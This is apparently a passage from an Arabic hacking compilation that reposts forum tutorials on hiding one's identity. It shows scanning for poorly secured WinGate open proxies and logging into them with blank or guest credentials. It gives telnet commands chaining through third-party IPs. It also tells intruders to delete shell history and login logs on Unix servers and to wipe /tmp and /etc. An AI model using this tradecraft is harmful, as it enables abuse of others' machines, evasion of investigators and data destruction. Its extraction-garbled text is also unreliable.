‫‪ DIScover‬ياأتخواني يعني مكشوف أو يتلقى‬ ‫شكاوي من سوء استخدا‪.‬م أو أعضاء غامضين !!!‬ ‫الفائدة الوحيدة للمديرين هي القدرة على وضع‬ ‫مستخدمين متعددين في نفس التصال لكن ياأتخوان‬ ‫المشاكل تفوق الفوائد‬ ‫إذا أي شخص قا‪.‬م بتنزيل ‪ WinGate‬تخاص به عليه‬ ‫الحذر بشدة ومعرفة ماهو يفعل ويتأكد من أنه موفق‬ ‫بشكل آمن وهنالك أتخرى متعددة أكثر ‪WinGate‬‬ ‫أمانا مثل برامج ‪SyGate‬‬ ‫في معظم الحالت ملفات ‪) Logs‬سجلت( الخاصة‬ ‫بالـ ‪ WinGate Server‬تحذف عادة بعد ‪ 48‬ساعة‬ ‫للعمال وأيضا للـ ‪) ISP's‬تخاصة بالكبار(‬ ‫أي ليوهجد حاهجة أو موارد لتدوين كل شيء يصادف‬ ‫تخاد‪.‬م ‪wingate‬‬ ‫‪How do I find Wingates‬‬ ‫=)كيف يمكنني الحصول على ‪WinGate‬؟(=‬ ‫أفضل طريقة للحصول على هذا الشيء هو كلمة بالفم‬ ‫‪ .‬بإمكانك تاتخذ عنوان ‪ wingate‬من أصدقائك إذا‬ ‫كان أحد عنده ‪ .‬الشيء الثاني أقتر ح عليك تستخد‪.‬م‬ ‫برامج‬ ‫‪WinGate Scanner‬‬ ‫‪243‬‬

‫هنالك العديد منها بالنت ابحث فقط في ‪google‬‬ ‫‪/http://www.google.com‬‬ ‫كل ماعليك فعله هو وضع مدى ‪ ip‬او ‪hostname‬‬ ‫ومن ثم البدء بالبحث‬ ‫مثل اقتر ح عليك البحث في بلد العالم الثالث أو الشرق‬ ‫الوسط وأفريقيا وأتخيرا شبكة ‪ @home‬كلهم‬ ‫يتشابهون ولديهم صفات شائعة وهي‪:‬‬ ‫توفر ‪ wingates‬والذي وفق بصورة رديئة وعادة‬ ‫هناك ‪ wingate‬مفتو ح قليل على ‪NetWork‬‬ ‫حقهم ‪...‬‬ ‫تخلل ‪ Unix‬أفضل طريقة هي‪ :‬المحاولة والخطأ‬ ‫‪Trial and Error‬‬ ‫اتصل بالتلنت في ‪ wingate‬من المنفذ ‪23‬‬ ‫واذا لقيت اترك فراغ السم والباسوورد واذا دتخلت‬ ‫را ح تحصل واحد أيضا بإمكانك تجربة اسمك وكلمة‬ ‫سرك او تستخد‪.‬م ميزة ‪) Guest‬الضيف( أو‬ ‫‪Anonymously‬‬ ‫‪Introduction to Socks Host‬‬ ‫=)الدتخول أو الدتخال إلى ‪=(Socks Host‬‬ ‫‪ Socks Host‬تقريبا مثل ‪ WinGate‬لكن‬ ‫التختلف وهو ان السوكس يتصل من تخلل المنفذ‬ ‫‪244‬‬

‫‪ 1080‬وبإمكانك عمل العدادات عليها وهي تتوفر في‬ ‫المتصفح‬ ‫‪explorer and netscape‬‬ ‫وبإمكانك إضافة ‪Socks Host‬‬ ‫وهذه الطريقة تستخد‪.‬م كثيرا في ‪ Mirc‬وتقو‪.‬م بحمايتك‬ ‫وبإتخفاء ‪ ip‬الخاص بك وتعمل كـ ‪FireWall‬‬

‫**********************‬ ‫وهذه برامج مساعدة على بقائك مجهول الهوية‬ ‫**********************‬ ‫‪Ghost Surf‬‬ ‫‪$$$$$$$$$$$$$$$$$$$$$$‬‬ ‫‪Stealther‬‬ ‫‪------------------------------------------‬‬‫ابحثوا عن البرنامجين السابقين في النترنت‬ ‫‪-------------------------------------------‬‬‫لكن أعلم ياأتخي الكريم أن وبكل مافعلت لن تصبح‬ ‫مجهول ‪%100‬‬ ‫انتهى‪،،،‬‬ ‫‪245‬‬

‫" كيف تبقى مجهول الهوية في‬ ‫النت)الجزء الثابني(؟؟ "‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪ :‬المدمر<‬ ‫ألحين الموضوع هذا سوف يكون فيه تطبيق عملي‬ ‫وليس كالسابق‪...‬‬ ‫هذه الفقرات عن ‪ Chaining Proxies‬لبقاء‬ ‫حريتك وسريتك على النترنت وقت أطول أثناء اتصالك‬ ‫لكن لتظن ان هذا الموضوع كافي فكلما قرأت عن هذا‬ ‫الجانب سوف تصبح الشخص المجهول‬ ‫وأيضا سوف نتكلم عن ‪Chaining wingates‬‬ ‫لتصبح مجهول على ‪Telnet‬‬ ‫‪)------------------------------------------‬‬‫من المعروف أن أغلبكم يستخد‪.‬م ‪ proxy‬لتخفاء ‪ip‬‬ ‫الخاص به او ‪ Domain‬او قد يستخد‪.‬م البروكسي‬ ‫‪246‬‬

‫لكي يجتاز المواقع المغلقة وأيضا لحماية هويته ‪.‬‬ ‫لكن عليك ان تتعلم كيف تستخد‪.‬م ‪ Proxy‬ومن‬ ‫الفضل ان تعرف ماذا هو ‪ Ip Address‬و‬ ‫‪ Domain‬أول ‪,,,‬‬ ‫قبل أن تقرأ هذا الموضوع علي اول ان اقو‪.‬م بإرشادك‬ ‫كيف تحصل على ‪ Proxy‬مع تحديثها من هذه‬ ‫المواقع‪:‬‬ ‫‪http://www.multiproxy.org/anon_list‬‬ ‫‪.htm‬‬ ‫‪http://tools.rosinstrument.com/prox‬‬ ‫‪/y‬‬ ‫أو هنالك طريقة أفضل لكم وأنصحكم إنكم تسجلون بـ‬ ‫‪ Group‬وهو يقو‪.‬م بإرسال بروكسيات هجديدة هجدا‬ ‫وبمنافذ مختلفة‬ ‫الجروب‪:‬‬ ‫‪[email protected]‬‬ ‫طريقة التسجيل‬ ‫قم بالدتخول إلى حسابك وأرسل للجروب بهذه الطريقة‬ ‫في تخانة الرسال إلى اكتب‬ ‫‪P_R_O_X_Y‬‬‫‪[email protected]‬‬ ‫وأرسل رسالة فارغة إليهم بعد ذلك سوف تتلقى رد‬ ‫‪247‬‬

‫مباشرة قم بعمل ‪Replay‬‬ ‫الن مبروك لقد سجلت بالجروب‬ ‫‪)------------------------------------------‬‬‫=========================‬ ‫أن لن أقو‪.‬م بمساعدتك في كل عمل تقو‪.‬م به تستطيع‬ ‫التأكد من أن‬ ‫البروكسي يعمل بالذهاب إلى ‪:‬‬ ‫‪/http://www.privacy.net‬‬ ‫أو‬ ‫‪/http://www.proxytester.com‬‬ ‫وقد تعرف هل عنوان ‪ Ip‬تغير أ‪.‬م ل !!! هذا بالنسبة‬ ‫للموقع الول أما الموقع الثاني فهو تخاص لكشف‬ ‫البروكسيات واعطائك مستوياتها ‪..‬‬ ‫=========================‬ ‫*************************************‬ ‫&&&&&&&&&&&&&&‬ ‫‪proxy server‬‬ ‫&&&&&&&&&&&&&&‬ ‫‪248‬‬

‫هو تخاد‪.‬م ‪ Proxy‬يقو‪.‬م بالتصال بين ‪):‬‬ ‫‪(WebSite,IRC Chat,etc‬‬ ‫هذه البروكسيات تقو‪.‬م بإرسال طلبات لكي يستقل او‬ ‫يستعرض المستخد‪.‬م موقعا على النترنت البروكسي‬ ‫يرسل طلبك على النترنت لكي يطلب هذا الموقع وبعد‬ ‫ذلك سوف تدتخل الموقع ببروكسي وهذا سوف يخزن‬ ‫في ‪Proxy Server‬‬ ‫كما قلنا في الموضوع السابق‪...‬‬ ‫هذي توضح كيف تتصل عن طريق البروكسي بالموقع‬ ‫]‪User]>>>>>[Proxy]>>>>>[Web‬‬ ‫‪[Pages‬‬ ‫‪---------------‬‬‫‪Proxy Chaining‬‬ ‫‪---------------‬‬‫معناها عدة بروكسيات وهذي طريقة فعالة هجدا لكي‬ ‫تصبح مجهول الهوية حيث يمكنك ان تتصل بأكثر من‬ ‫بروكسي لكي تعرض موقع واحد‬ ‫مثال‪/‬‬ ‫‪249‬‬

‫]‬ ‫‪User]>>>[Proxy1]>>>[Proxy2]>>>[Pr‬‬ ‫‪[oxy3]>>>[Proxy4]>>>[Destination‬‬ ‫يوضح هذا المثال ان المستخد‪.‬م اول عليه التصال‬ ‫بالبروكسي الول فالثاني فالثالث والرابع وأتخيرا‬ ‫الهدف مما يسبب بطأ في التصال‬ ‫‪Destination = web page, Unix‬‬ ‫‪server, ftp server, etc‬‬ ‫إذا ‪ Proxy chaining‬مطلب ضروري لكي‬ ‫يستخدمه أي هكر ليحفظ سريته اثناء الدتخول إلى أي‬ ‫‪ server‬مثل ‪telnet, ftp, or http‬‬ ‫‪ Chaining‬هي مهمة كما أقول لن تصبح مجهول‬ ‫‪ %100‬لكن حاول بقدر المستطاع على ان ل تمسك‬ ‫ويطادونك مثل السمكة لكن البروكسيات المتعددة‬ ‫صعب ان يكشفها احدا لكن مثل حاولت تدتخل على‬ ‫موقع بالـ ‪ ftp‬را ح يصطاد البروكسي بعد كذا لو كان‬ ‫معاه فلوس كان طلب من‬ ‫‪ Adminstrator‬ملفات ‪ Logs‬لكي يعرف‬ ‫المصدر والمصدر ايضا را ح يكون ‪proxy‬‬ ‫ههههههههه يعني على هذا المنوال إلى ان يصل الى‬ ‫المستخد‪.‬م لذلك عملية ‪ Chaining Proxy‬عملية‬ ‫مفيدة هجدا ويصعب احدهم المساك بك‬ ‫‪250‬‬

‫لكن ملفات ‪ Logs‬تنحذف في اوقات بعد الضغط على‬ ‫البروكسي لكي يصل الى الحد المسمو ح به من تحميل‬ ‫الملفات على البروكسي الخاد‪.‬م الي يحتوي على‬ ‫البروكسيات لذلك سوف تصبح ملفات ‪ Logs‬متجددة‬ ‫‪...‬‬ ‫‪---------------‬‬‫‪HTTP Chaining‬‬ ‫‪---------------‬‬‫‪ HTTP chaining‬هي نفس طريقة ‪Proxy‬‬ ‫ويمكنك عملها من مستعرضك وفي تخانة ‪Address‬‬ ‫مثال‪:‬‬ ‫_‪http://proxy.magusnet.com/-‬‬‫‪http://www.google.com‬‬ ‫حركة هجميلة وهجديدة )‪ (-_-‬لم ترونها مسبقا صحيح‬ ‫!!!‬ ‫وأيضا يمكننا استخدا‪.‬م ‪ Chaining‬مثل‪:‬‬ ‫_‪http://proxy.server1.com/-‬‬‫_‪http://proxy.server2.com/-‬‬‫‪http://www.destination.com‬‬ ‫‪251‬‬

‫او يمكننا وضع عناوين بروكسيات بمنافذها‬ ‫‪http://anon.free.anonymizer.com/htt‬‬ ‫‪p://www.google.com‬‬ ‫مثال آتخر‬ ‫كإضافة علمة )‪ (/‬بين المواقع‬ ‫‪http://proxy1/http://proxy2:80/proxy‬‬ ‫‪3:80/http://www.yahoo.com‬‬ ‫‪ = proxy‬استبدله ببروكسي رقمي يكون أفضل لك‬ ‫‪.....‬‬ ‫‪---------------‬‬‫‪Browser Chaining‬‬ ‫‪---------------‬‬‫وهو استخدا‪.‬م البروكسي من متصفحك وانا سوف‬ ‫يكون حديثي فقط عن ‪ Internet Explorer‬لنه‬ ‫الكثر استخداما ‪----‬‬ ‫ألحين مثل عندنا بروكسي‬ ‫‪213.234.124.23:80‬‬ ‫‪252‬‬

‫العنوان‪213.234.124.23:‬‬ ‫المنفذ‪80:‬‬ ‫ألحين كيف نحطها بدال البروكسي الخاص بالـ ‪ISP‬‬ ‫أي مزد تخدمة النترنت‬ ‫نرو ح عند‬ ‫أدوات ‪Tools‬‬ ‫تخيارات إنترنت ‪Internet Options‬‬ ‫بعدين اتصالت ‪Connections‬‬ ‫تختار التصال الي تدتخل في النترنت بعدين‬ ‫إعدادات ‪Settings‬‬ ‫را ح تجد‬ ‫‪) Address‬العنوان(‬ ‫‪) Port‬المنفذ(‬ ‫ونضعه بداله‬ ‫العنوان‪ 213.234.124.23:‬المنفذ‪ 80:‬وبعد كذا‬ ‫اضغط موافق و‬ ‫والحين نبغى نستخد‪.‬م الستعراض المتعدد‬ ‫‪Chaining Proixes‬‬ ‫بدال مانحط بروكسي واحد في العنوان نحط أكثر من‬ ‫واحد مثل كذا‪/‬‬ ‫‪Address: 213.234.124.23:80‬‬ ‫‪253‬‬

‫‪121.172.148.23:80 143.134.54.67‬‬ ‫‪Port: 80‬‬ ‫‪$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$‬‬ ‫‪$$$$$$$$$$$$$$$$$$$‬‬

‫&&&&&&&&&&&&&&‬ ‫‪Wingates‬‬ ‫&&&&&&&&&&&&&&‬ ‫‪ Wingate‬هو ‪ proxy server‬الذي ينزل في‬ ‫هجهازه او هجهازها ليسمح بالفرد او بعدة أفراد ليأتخذون‬ ‫مقاعدهم بالمنفذ تخلل ‪)) 23‬منفذ ‪ Telnet‬العادي ((‬ ‫بعض ‪ Wingates‬يسمحون لي شخص متصل‬ ‫‪ online‬لكي يتصلون به مباشرة او في وقت قصير‬ ‫لتتعدى اليا‪.‬م لكن اعلم ان هذا ليس من القانون‬ ‫وهنالك تخصائص للـ ‪ Admin‬تمنع من استخدا‪.‬م‬ ‫‪ wingate‬على هجهازه هذا على حسب المدير هل‬ ‫يفهم في هذا المجال أ‪.‬م ل !!!!‬ ‫وهي عبارة عن ‪ ip‬أهجهزة أو اسماء أهجهزة تتصل من‬ ‫تخللها على المنفذ ‪ 23‬بأداة ‪ Telnet‬أو يمكنك من‬ ‫عمل بحث ببرامج‬ ‫‪254‬‬

WinScan Wingate

Download ------------------------------Chaining Wingates Using Telnet ------------------------------‫ كالسابق‬Wingate ‫م عدة‬.‫ألحين را ح نستخد‬ ‫والدوات التي نحتاهجها‬ 255

‫هي فقط ‪ DoS‬وأداة ‪ Telnet‬لظن أن الهجهزة‬ ‫سوف تخلو من أهم هذين الداتين إل نادرا ‪.....‬‬ ‫هجميع ‪ wingate‬تتصل عن طريق المنفذ ‪ 23‬لكن‬ ‫المنفذ ليس مهما لكني سوف أضيفها لكم لكي تتعلموا‬ ‫فقط كيف يتم التصال بالـ ‪ Telnet‬عن طريق المنافذ‬ ‫وهذا عنوان هجهاز امكننا إحضاره‬ ‫هو ‪ 61.133.119.130‬ومنفذه ‪23‬‬ ‫ويتم التصال به عن طريق ‪ Telnet‬مثل‪:‬‬ ‫‪C:\WINDOWS>telnet 61.133.119.130‬‬ ‫‪23‬‬ ‫لحظ وهجود المسافات فمسافة زائدة او ناقصة قد تعثر‬ ‫تخطوتك‬ ‫بعد كذا سوف تتصل بالوين هجيت مثل هذا‬ ‫‪Wingate> 203.207.173.166 23‬‬ ‫‪256‬‬

‫بعدين تقدر تكرر العملية اكثر من مرة ولكن مع تغيير‬ ‫العنوان يعني كذا‬ ‫‪Wingate> 213.17.99.45 23‬‬ ‫وأيضا اتصل مرة أتخرى‬ ‫‪Wingate> 10.65.212.7 23‬‬ ‫ألحين بعد ماتتصل بأكثر من ‪ wingate‬اتصل‬ ‫بالموقع‬ ‫‪WinGate>arbornet.org‬‬ ‫اذا الطريقة وبخطوة سريعة تبدو كذلك‬ ‫‪C:\Windows> telnet 61.133.119.130‬‬ ‫‪23‬‬ ‫‪Wingate>203.207.173.166 23‬‬ ‫‪Wingate>135.245.18.167 23‬‬ ‫‪257‬‬

Wingate>m-net.arbornet.org Connecting to host arbornet.org...Connected ،،،‫انتهى‬

258

‫"بين حماية الخصوصية وإزالة‬ ‫الاثارمن ملفات الـ ‪"Logs‬‬ ‫>منقول من منتديات الحز‪.‬م السلمية<‬ ‫>الكاتب‪ :‬حز‪.‬م الظامي<‬ ‫فيما يتعلق بموضوع التخفي ومنع تعقب الثر مع‬ ‫سيرفرات يونكس أو لينوكس ‪ .‬أو ًل لبد أن تعلم أن‬ ‫من أهم تخواص يونكس التي تمنحه القوة ‪ .‬تقو‪.‬م على‬ ‫تعدد المستخدمين ‪Unix Multi-User Mode .‬‬ ‫‪ . Operation‬ثم ل بد أن تعلم أن ) ‪( Linux‬هو‬ ‫الصدار المجاني من نظا‪.‬م يونيكس ) ‪ . ( Unix‬يعني‬ ‫الفضل فهم يونيكس فحتم ًا ستتعامل مع لينوكس بكل‬ ‫ارتيا ح كونك تتعامل مع ‪Unix‬‬ ‫أو ًل أريد أقسم الموضوع لقسمين رئيسين ‪:‬‬ ‫‪259‬‬

‫ساتكلم عن كل واحد منهما بعجاله لن الموضوع ما‬ ‫تكفي ساعات معدودة لكتابة كل شيء عنه ‪ .‬بل وال‬ ‫اتوقع ان عمر ابن اد‪.‬م يفنى وهو يبحث عن المن على‬ ‫النترنت وكل ما تقد‪.‬م مستواه كل ما اصبح يعي تمام ًا‬ ‫كل ما حوله وما يجب ان يقو‪.‬م به من اهجل التخفي‬ ‫ومنع تعقب الثر ‪....‬‬ ‫القسم الول ‪ :‬يخص ملفات النظا‪.‬م التي يسجل فيه‬ ‫اهجراءاتك ‪( LOG File ) ...‬‬ ‫القسم الثاني ‪ :‬يتعلق باتصالك وحماية تخصوصياتك ‪...‬‬ ‫وهذا يقف عن قدرات كل شخص فينا ‪....‬‬

‫في الواقع هجميع الهجهزة في انترنت تجمع المعلومات‬ ‫عنك ‪ ،‬ابسطها مثل عنوان ال ‪ IP‬و اكثرها حساسية‬ ‫مثل اسمك و رقم الهاتف الخاص بك ربما و عنوانك‬ ‫‪260‬‬

‫البريدي ‪ ........‬ملفاتك و هجهاز كومبيوترك محمي‬ ‫بصورة هجيدة للغاية لو ارتبط بانترنت بواسطة نظا‪.‬م‬ ‫التشغيل فقط و بدون استخدا‪.‬م برمجيات اضافية‪ ،‬ولكن‬ ‫حتى ولو حصل ذلك ففي غضون السابيع القليلة‬ ‫الولى سيفقد الجهاز الكثير من اهجزاء حمايته نتيجة‬ ‫للستخدا‪.‬م الغير سليم لنترنت تتابع الشركات نظم‬ ‫التشغيل بشدة‪ ،‬الكل يتابع الثغرات في ‪Microsoft‬‬ ‫‪ Windows‬و ‪ Linux‬و ‪ Mac‬و غيرهما ‪ ،‬لذلك‬ ‫من الصعب الوصول الى تلك الهجهزة بصورة فورية و‬ ‫بدون تدتخل رسمي ‪....‬‬

‫‪261‬‬

‫والحقيقة انا لزلت في بداية طريقي لهذا المجال‬ ‫واسال ال ان يسهل ويفتح علينا من فضله ‪..‬‬

‫القسم الول ‪ :‬يخص ملفات النظا‪.‬م التي يسجل فيه‬ ‫اهجراءاتك ‪...‬‬ ‫ما يتعلق بملفات التسجيل لهجراءاتك تسمى ) ‪LOG‬‬ ‫‪ . ( File‬مؤرتخه بالوقت والهجراء ‪.‬‬ ‫وتسمى سجل الحداث كما تسمى ملفات سجل الداء‬ ‫‪262‬‬

‫جل هجميع مز ّودات الويب )‪(Web servers‬‬ ‫تس ّ‬ ‫معلومات واسعة عن حركة الوصول إلى موقعك‪ ،‬ضمن‬ ‫ملفات سجل الداء )‪ ،(log files‬وهي عبارة عن‬ ‫ملفات نصوص بسيطة تلتقط نشاطات الكمبيوتر‬ ‫المز ّود‪ .‬ويمكن تحليل معلومات سجل الداء يدوي ًا‪،‬‬ ‫وهذا ما كان يفعله الناس‪ ،‬في بدايات شبكة ويب‪ .‬لكن‬ ‫إذا زاد حجم ملف سجل الداء )‪ (log file‬عن بضعة‬ ‫كيلو بايتات‪ ،‬فإن التحليل اليدوي يصبح غير عملي‪ ،‬إن‬ ‫ل كلي ًا‪ .‬وإذا أتخذت بعين العتبار أن‬ ‫لم يكن مستحي ً‬ ‫مز ّودات اليو‪.‬م تو ّلد ملفات لسجل الداء‪ ،‬يصل حجمها‬ ‫إلى ميجابايتات كثيرة‪ ،‬بل ويصل في كثير من الحيان‬ ‫إلى هجيجابايت أو أكثر‪ ،‬لدركت ببساطة أن التحليل‬ ‫اليدوي غير وارد إطلق ًا‪.‬‬ ‫ملفات سجل الداء‬ ‫تبع ًا لمز ّود الويب الذي تستخدمه‪ ،‬تحتوي ملفات سجل‬ ‫الداء‪ ،‬على بعض‪-‬ومن المحتمل هجميع‪-‬المعلومات‬ ‫التالية‪ ،‬لكل زيارة يقو‪.‬م بها زائر إلى موقعك‪:‬‬ ‫وأريد أتخبرك ان ثمة ملفات ل يمكنك الووصول لها‬ ‫وهي تراقب كل اهجراءاتك ‪ ...‬وتختلف الهجراءات‬ ‫المنية من نظا‪.‬م لتخر حسب قدرات مدير النظا‪.‬م الذي‬ ‫تعمل عليه ‪...‬‬ ‫‪263‬‬

‫اقتباس‪:‬‬ ‫عموما أتخوي هيكس تكلم عن هذه الملفات‬ ‫في نظا‪.‬م ‪. WIN NT‬‬ ‫وكيف يتم إزالة اللوق فايل ويمكن الرهجوع‬ ‫لدرسه ‪...‬‬

‫وانا الن را ح اتخبرك عن اهمها ول يشترط ان تزيل‬ ‫كل شي ‪:‬‬ ‫) فما ل يدرك كله ل يترك هجله ( ودائم ًا حتى ل تحبط )‬ ‫إذا لم تستطع شيئ ًا فدعه وهجاوزه إلى ما تستطيع (‬ ‫عموما الطريقه المثلى للتعامل مع انظمة يونكس ‪...‬‬ ‫هي استخدا‪.‬م الشل النصي وهذا رأيي فأنا إلى الن‬ ‫اعيش في ذهول من قدرات هذا النظا‪.‬م العجوز ‪...‬‬ ‫يكفي ان الدوس صاحب المكانيات والسهولة ‪..‬‬ ‫وسرعة التنفيذ والستجابه هو في الصل هجزء أو أداة‬ ‫من أدوات يونيكس وعملت مايكروسوفت على‬ ‫تطويرها وال فالصل هو يونكس بل ادني شك ‪...‬‬ ‫‪264‬‬

‫عموما أهم الملفات حالي ًا أريدك تحذفها كل ما تستخد‪.‬م‬ ‫الشل النصي ‪ .‬هي كالتالي ‪:‬‬ ‫‪lastlogin.‬‬ ‫بدايته بنقطه مما يعني انه ملف مخفي فاي ملف أو‬ ‫مجلد يبدا بنقطه اذا هو مخفي مباشرة في يوينيكس ‪.‬‬ ‫وهذا الملف يسجل به اتخر ايبي سجل الدتخول ‪.‬‬ ‫‪bash_history.‬‬ ‫هنا را ح تسجل هجميع الوامر التي نفذتها‬ ‫‪contactemail.‬‬ ‫اذا ما كنت تستخد‪.‬م الشل النصي للتعامل مع البريد‬ ‫أيض ًا أريد منك حذف هذين المجلدين‬ ‫‪ Tmp‬والتخر ‪ trash.‬ويا حبذا تنسف معهم مجلد‬ ‫‪. etc‬‬ ‫هنا مشكلة ربما يعرفها البعض ‪.‬‬ ‫هو كوني حذفت ملفي ‪lastlogin &.‬‬ ‫‪.bash_history‬‬ ‫باستخدا‪.‬م المر ‪ rm‬تلقائي ًا را ح يكون ناتج هذا الهجراء‬ ‫تجدد ملف الباش ‪bash_history.‬‬ ‫‪265‬‬

‫ليصبح محتواه ‪:‬‬ ‫‪rm .bash_history‬‬ ‫‪rm .bash_history‬‬ ‫ورا ح يكون ناتج ملف ‪ lastlogin.‬هو اليبي الذي‬ ‫دتخلت به اتخر مره ‪.‬‬ ‫طيب وش الحل ننسفها نهائي ًا وما نريد أوامر الحذف‬ ‫تظهر ‪....‬‬ ‫الطريقة تستخد‪.‬م ‪ cpanel‬هو أفضل إهجراء ‪ .‬وللعلم‬ ‫يا أتخون هناك اعدادت هجباره في اليونكس تمكنك من‬ ‫البداع ومن التجديد والبتكار ‪..‬‬ ‫عموما أتخواني للعلم حتى يمكنك اللعب بالنظا‪.‬م كامل‬ ‫باليبي المحلي ‪ localhost :‬واذا مد ال في‬ ‫العمر تكلمنا عن هذا الموضوع باذن ال ‪...‬‬ ‫لحظ هذه الصورة ‪ :‬وهي من سي بانل مش‬ ‫فوتوشوب وبنفس الطريقة تتحكم في السيرفر بل اي‬ ‫معلومات عن المصدر الحقيقي للتصال ‪....‬‬

‫‪266‬‬

‫عموما سأعود لهذا الموضوع اذا مد ال بالعمر وال‬ ‫اني اعمل من اشهر على كتابة دروس نظرية وتطبيق‬ ‫عملي لحتراف يونيكس ‪...‬‬ ‫ورا ح نكمل الحديث عن ملفات اللوق وحذفها حتى وإن‬ ‫لم يكن مسمو ح لك بملكيات ‪ ...‬فوال تستطيع الحذف‬ ‫‪...‬‬ ‫ننتقل للجزء التخر ‪...‬‬ ‫القسم الثاني ‪ :‬يتعلق باتصالك وحماية تخصوصياتك ‪...‬‬ ‫وهذا يقف عن قدرات كل شخص فينا ‪....‬‬ ‫أتخوي الحقيقة المشكلة أن الغلب منا يستخد‪.‬م إما‬ ‫نفس البروكسي لمستضيف الخدمه اللي يستخدمه ‪..‬‬ ‫وان سهل ال ‪ ..‬اشتغل ببروكسي يعمل مع‬ ‫بروتوكولت التصفح )‪ ( HTTP Protocol‬ويجب‬ ‫أن ندرك أنك حين تتعامل مع نظا‪.‬م يونيكس أو النظمة‬ ‫‪267‬‬

‫التخرى الشبيهه‬ ‫والحقيقة ان كونك تستخد‪.‬م البروكسيات المعتاده‬ ‫للتصفح فهذا ل يخفي هويتك اذا استخدمت‬ ‫بروتوكولت ‪ HTTP‬ولكن الحل المثل ‪ ....‬أنك‬ ‫تستخد‪.‬م بروكسيات السوكس ‪SOCKS Protocol‬‬ ‫‪ .‬فيجب عليك إيجاد ارقا‪.‬م سوكس لستخدامها حماية‬ ‫لخصوصيتك أو عند الحاهجة للتخفي اناء عملك على‬ ‫النظا‪.‬م ‪.‬‬ ‫عموما البروكسيات في مجملها ثلثة أنواع ‪.‬‬ ‫‪ Web Proxy Service (1‬وهذا للتصفح ‪.‬‬ ‫‪. HTTP Protocol‬‬ ‫‪ WinSock Proxy Service (2‬وهذا مفيد مع‬ ‫سيرفرات ‪ windows NT‬ويفيد في عملها على‬ ‫اتخفاء هويتك عند العمل على بروتوكولت ‪ telnet‬أو‬ ‫‪ FTP‬وهذا هو البروتوكول ‪WinSock‬‬ ‫‪...... Protocol‬‬ ‫‪ . Socks Proxy Service (3‬وهذا القوى‬ ‫ويستفاد منه في )‪SSL) Secure Sockets‬‬ ‫‪ Layers‬بالضافة إلى )‪IIS) Internet‬‬ ‫‪ Information Server‬ويخد‪.‬م مع ‪Windows‬‬ ‫‪ NT‬وكذلك ‪FTP ، Telnet، Gopher،IRC ،‬‬ ‫‪ RealAudio ، POP3‬وهذا النوع يجمع بين‬ ‫‪268‬‬

‫كونه ‪ firewall‬إضافة إلى تخدمة أمنية ‪.‬‬ ‫‪ ... securiy‬وتكمن وظيفته في تغيير معلومات‬ ‫موارد تخدمة النترنت التي تتصل بها ‪ .....‬وعادة ما‬ ‫يستخد‪.‬م فيها بروتوكول ‪ TCP/IP‬ويستخد‪.‬م هذا‬ ‫البروتوكول وسيلتين للتصال ‪:‬‬ ‫* طريقة المنظمة العالمية )‪Internationa‬‬ ‫‪(Organization for Standardization‬‬ ‫** مجموعة بروتوكولت للتصالت ‪ .‬وضعتها وزارة‬ ‫الدفاع المريكية ‪ransmission Control .‬‬ ‫‪... Protocol TC‬‬ ‫الحقيقة أتخواني هناك أمر ها‪.‬م هجد ًا وهو أن ثمة برامج‬ ‫تساعدك كثير ًا بتقنياتها المحترفة تساعدك في التخفي‬ ‫من تقنيات الرقابة التي ل يخلوا منها نظا‪.‬م ‪ ...‬وهي‬ ‫كثر هجد ًا ‪:‬‬ ‫‪Ping، Traceroute, DNS lookup,‬‬ ‫‪ Finger, Whois, LDAP, SNMP‬وهذا يكون‬ ‫باعتبار النظا‪.‬م واعتبار بروتوكول التصال الذي‬ ‫يستخدمه نظا‪.‬م ‪ ... WIN NT :‬ويستفيد من وتوكول‬ ‫‪ TCP/IP‬لمراقبة النظا‪.‬م ‪...‬‬ ‫وبالمقابل يتم مراقبة نظا‪.‬م ‪ UNIX‬عن طريق الرواتر ‪.‬‬ ‫‪ Router‬وهو أداة فعاله لتشخيص النظا‪.‬م ونعني بهذا‬ ‫المصطلح أي الموهجه أو الموزع ويتميز الراوتر‬ ‫‪269‬‬

‫بقدرته على التعرف على كل هجزء من أهجزاء الشبكة‬ ‫ويعمل عى مراقبة الداء وموازنة سير البيانات‬ ‫ويسمح للشبكات المتصلة بالحفاظ على استقلليتها‬ ‫‪...‬ومواصفاتها وعناوينها الخاصة ‪.‬‬ ‫وهنا نوعين للموهجهات أو الموزعات )‪. ( Router‬‬ ‫الول ‪ :‬إستاتيكي يتطلب من مدير الشبكة ضبط يدوي ‪.‬‬ ‫ويتميز هذا النوع بالمان ‪.‬‬ ‫والثاني ديناميكي ‪ ....‬يقو‪.‬م بأعماله اتوماتيكي ًا‬ ‫‪...‬ويحتاج الى ضبط بسيط وهو أقل أمان ًا من الول ‪.‬‬ ‫عموما انا اسف ربما تفرعت في هذا الموضوع ‪.‬‬ ‫عموما إتخواني بالنسبة للتصال ‪ ...‬أنا أقول لكم عليكم‬ ‫بتشفير أو إتخفاء أو تزوير بياناتكم باي طريقة ‪...‬‬ ‫ببرامج أو بدون ‪ .‬وعليكم بمراقبة هذه البورتات ‪:‬‬ ‫‪Port 21 = FTP‬‬ ‫‪Port 23 = Telnet‬‬ ‫‪Port 25 = SMTP‬‬ ‫‪Port 53 = DNS‬‬ ‫‪Port 79 = Finger‬‬ ‫‪Port 80 = HTTP‬‬ ‫‪Port 110 = POP3‬‬ ‫‪270‬‬

‫‪Port 111 = SunRPC‬‬ ‫‪Port 139 = NetBIOS‬‬ ‫‪Port 443 = SSL‬‬ ‫‪Port 1080 = SOCKS‬‬ ‫‪Port 8181 = IMail‬‬ ‫والحقيقة الفضل من هذا كله أن تسجل دتخولك باليبي‬ ‫المحلي أو لبد أن تستخد‪.‬م بروكسيات من نوع سوكس‬ ‫‪.‬‬ ‫وهناك برامج هجيدة كالتالي ‪ :‬أفضلها في نظري أداء ًا‬ ‫وسهولة ‪ ...‬برنامج ‪ HTTPort‬ومعروف لديكم أكيد‬ ‫‪.‬‬ ‫صورة للبرنامج اناء عمله ‪.‬‬

‫‪271‬‬

